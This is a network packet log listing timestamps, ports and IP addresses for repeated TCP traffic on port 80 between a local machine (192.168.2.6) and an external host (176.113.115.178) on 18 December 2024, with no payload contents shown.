Dec 18, 2024 13:49:44.600439072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.600452900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.600503922 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.601258993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.601313114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.601336002 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.602190018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.602262020 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.721278906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.721491098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.721569061 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.790815115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.790956020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.791213036 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.795001984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.795233965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.795283079 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.803575993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.803797007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.803867102 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.812395096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.812952042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.813028097 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.820710897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.821008921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.821140051 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.829332113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.829575062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.829627991 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.837881088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.838047028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.838253021 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.846478939 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.846642971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.846793890 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.855956078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.856157064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.856224060 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.863866091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.864114046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.864321947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.872137070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.872323990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.872447968 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.983233929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.983366013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.983434916 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.987148046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.988657951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.988782883 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.988902092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.997354984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.997471094 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.997507095 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.009598017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.009613037 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.009669065 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.011372089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.011439085 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.011580944 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.016819000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.017019987 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.017060995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.020929098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.020982027 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.021155119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.025382042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.025434017 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.025553942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.030045986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.030314922 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.030325890 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.034951925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.035120964 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.035167933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.039792061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.039980888 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.039988041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.044486046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.044706106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.044713974 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.049288988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.049334049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.049513102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.054078102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.054161072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.054295063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.058990002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.059066057 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.059192896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.063867092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.063919067 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.175363064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.175591946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.175666094 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.177669048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.178025961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.178095102 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.182048082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.182502985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.182569027 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.186741114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.186912060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.187060118 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.191567898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.191787958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.191906929 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.195969105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.196440935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.196547985 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.200126886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.200620890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.200669050 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.204125881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.204298019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.207484961 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.208324909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.208564043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.208658934 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.212419033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.212649107 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.212712049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.217113972 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.217288017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.217405081 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.221054077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.221230030 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.221682072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.225245953 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.225516081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.225605965 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.229737043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.229947090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.230046034 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.233238935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.233527899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.233629942 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.237832069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.238063097 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.238131046 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.241651058 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.241857052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.241911888 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.245851994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.246030092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.246097088 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.250000954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.250216007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.250267982 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.254486084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.254561901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.254678011 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.258373976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.258565903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.258829117 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.262558937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.263030052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.263134956 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.266772032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.267026901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.267157078 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.270989895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.271171093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.271260023 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.275120974 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.275365114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.275428057 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.279336929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.279653072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.279711962 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.370795965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.370943069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.371248960 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.372260094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.373135090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.373182058 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.373260975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.376410007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.376506090 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.376554012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.379774094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.379933119 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.379988909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.383296967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.383440018 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.383460045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.386600971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.386832952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.386959076 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.389858961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.389910936 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.390074968 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.392987013 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.393059969 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.393343925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.396220922 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.396322012 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.396646976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.399790049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.399836063 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.399996042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.402503967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.402659893 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.402726889 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.405412912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.405533075 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.405539036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.408340931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.408392906 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.409063101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.411427975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.411492109 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.411705017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.414119959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.414186954 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.414381027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.417073965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.417129040 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.417246103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.420079947 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.420126915 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.420212984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.422914028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.423048019 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.423104048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.425827980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.425904989 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.426012993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.428739071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.428787947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.428901911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.431821108 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.431929111 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.432085991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.434792042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.434875965 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.434919119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.437426090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.437484026 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.437784910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.440387011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.440517902 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.440637112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.443299055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.443425894 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.443522930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.446206093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.446291924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.446445942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.449166059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.449276924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.449385881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.452032089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.452086926 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.452243090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.455001116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.455049992 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.455229044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.457921028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.457966089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.458103895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.460817099 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.460872889 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.461189985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.463716984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.463953018 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.464149952 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.466658115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.466811895 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.467006922 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.469588041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.469687939 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.469793081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.473023891 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.473073959 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.473552942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.475367069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.475438118 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.475605011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.478806019 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.478924036 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.478996038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.481673956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.481729984 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.481820107 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.484138012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.484297037 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.484452009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.487065077 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.487114906 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.487360001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.490032911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.490123034 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.490252018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.492959976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.493082047 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.493266106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.495975018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.496068954 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.496092081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.498709917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.498812914 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.563472986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.563602924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.563682079 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.564148903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.564239025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.564292908 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.566205978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.567101955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.567235947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.567296028 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.569636106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.569744110 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.569747925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.571739912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.571846008 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.572046041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.574090004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.574157953 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.574300051 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.576679945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.576740026 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.576797009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.579127073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.579190016 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.579454899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.581329107 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.581459045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.581481934 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.583334923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.583410025 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.583509922 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.585114002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.585177898 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.585345030 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.586864948 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.586957932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:45.587099075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:45.588912010 CET	80	49822	176.113.115.178	192.168.2.6
